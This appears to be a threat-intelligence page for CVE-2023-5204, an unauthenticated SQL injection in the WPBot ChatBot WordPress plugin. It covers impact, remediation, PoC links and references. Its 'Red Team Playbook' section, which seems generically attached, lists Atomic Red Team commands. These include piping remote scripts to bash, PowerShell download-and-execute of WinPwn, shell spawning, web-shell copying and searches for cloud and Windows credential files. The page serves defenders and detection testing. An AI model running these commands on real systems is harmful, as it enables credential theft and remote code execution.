CVE-2023-5204
Overview
This vulnerability is a SQL Injection flaw in the quantumcloud WPBot WordPress plugin, specifically affecting the $strid parameter. The root cause is insufficient escaping and lack of prepared statements in the SQL query construction within the plugin's code, allowing user input to be directly injected into database queries. The affected component is the ChatBot plugin for WordPress versions up to and including 4.8.9.
Vulnerability Description
The ChatBot plugin for WordPress is vulnerable to SQL Injection via the $strid parameter in versions up to, and including, 4.8.9 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
Impact
An unauthenticated attacker can exploit this vulnerability remotely to execute arbitrary SQL queries on the backend database, potentially extracting sensitive information such as user data or credentials. No user interaction or authentication is required (AV:N/AC:L/PR:N/UI:N), increasing the attack surface and severity. This can lead to data breaches, compromise of database integrity, and full system impact as indicated by the CVSS vector (C:H/I:H/A:H).
Solution
Users should upgrade the quantumcloud WPBot plugin to a version later than 4.8.9 where the issue is patched. Detailed remediation and patch instructions are available in the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/5ad12146-200b-48e5-82de-7572541edcc4. Reviewing the plugin's repository changeset (e.g., revision 2977505) confirms the application of proper input sanitization and prepared statements to mitigate the vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the ChatBot plugin for WordPress stems from an SQL Injection flaw that arises due to inadequate escaping of user-supplied parameters, specifically the $strid parameter. This oversight allows attackers to manipulate SQL queries by injecting arbitrary SQL code into the existing queries. The lack of proper input validation and parameterized queries creates an avenue for unauthorized access to the underlying database. Attackers can exploit this weakness to execute malicious SQL commands, potentially leading to unauthorized data retrieval, modification, or even deletion of sensitive information stored within the database.
Exploitation of this vulnerability can occur through various attack vectors, primarily targeting web applications that utilize the affected plugin. An unauthenticated attacker could craft a malicious request that includes specially formatted input for the $strid parameter. By doing so, they can append additional SQL statements to the original query, allowing them to extract confidential data such as user credentials, personal information, or other sensitive records. This type of attack is particularly insidious because it does not require any form of authentication, making it accessible to a wide range of potential attackers. Furthermore, the ease of executing such an attack, combined with the prevalence of WordPress sites, amplifies the risk associated with this vulnerability.
The real-world impact of this SQL Injection vulnerability can be significant, particularly for businesses that rely on the ChatBot plugin for customer interaction and data management. Successful exploitation can lead to data breaches, resulting in the exposure of sensitive customer information, which can have severe legal and financial repercussions. Organizations may face regulatory fines, loss of customer trust, and reputational damage, all of which can have long-lasting effects on their operations. Additionally, the potential for data manipulation or destruction poses a direct threat to the integrity of business operations, potentially leading to operational disruptions and financial losses.
To detect and mitigate this vulnerability, organizations should implement several strategies. Regular security audits and vulnerability assessments can help identify the presence of SQL Injection flaws within web applications. Employing web application firewalls (WAFs) can provide an additional layer of defense by filtering out malicious traffic before it reaches the application. Furthermore, developers should adopt secure coding practices, including the use of prepared statements and parameterized queries, to prevent SQL Injection vulnerabilities from being introduced in the first place. Keeping the ChatBot plugin and other components of the WordPress ecosystem up to date is crucial, as updates often include patches for known vulnerabilities.
In conclusion, the SQL Injection vulnerability in the ChatBot plugin for WordPress presents a serious threat to the security of web applications utilizing this software. The potential for unauthorized data access and manipulation underscores the importance of robust security practices and proactive measures to safeguard sensitive information. By understanding the technical details, attack vectors, and real-world implications of this vulnerability, organizations can better prepare themselves to defend against such threats and mitigate the associated risks.
CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting the SQL Injection vulnerability in the ChatBot plugin for WordPress (CVE-2023-5204). Our telemetry indicates the emergence of new exploitation activity, signaling that threat actors are actively leveraging this flaw in the wild. This shift is accompanied by an upward revision of the CVSS score from 7.5 to 9.8, reflecting a reassessment of the vulnerability’s criticality based on real-world exploitability and impact. The availability of a new proof-of-concept exploit hosted on public repositories further lowers the barrier for attackers, increasing the likelihood of widespread exploitation. Although the EPSS score remains stable at a high percentile, the current exploitation trend underscores an urgent need for heightened vigilance. For defenders, this development signifies an elevated risk environment where unauthenticated attackers can potentially exfiltrate sensitive data from affected systems. Consequently, the threat level associated with this vulnerability has escalated to critical, emphasizing the imperative for rapid detection and response capabilities to mitigate potential breaches.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Quantumcloud | Wpbot | All |
cpe:2.3:a:quantumcloud:wpbot:*:*:*:*:*:wordpress:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
RandomRobbieBF/CVE-2023-5204
AI ChatBot <= 4.8.9 - Unauthenticated SQL Injection via qc_wpbo_search_response
|
RandomRobbieBF | 5 | 1 | 2024-02-21 | View |
Threat Feed
2 eventsSighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-5204 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/5ad12146-200b-48e5-82de-7572541edcc4?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/chatbot/trunk/qcld-wpwbot-search.php?rev=2957286#L177 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=2977505%40chatbot%2Ftrunk&old=2967435%40chatbot%2Ftrunk&sfp_email=&sfph_mail= |
| packetstormsecurity.com |
GitHub CVE
|
http://packetstormsecurity.com/files/175371/WordPress-AI-ChatBot-4.8.9-SQL-Injection-Traversal-File-Deletion.html |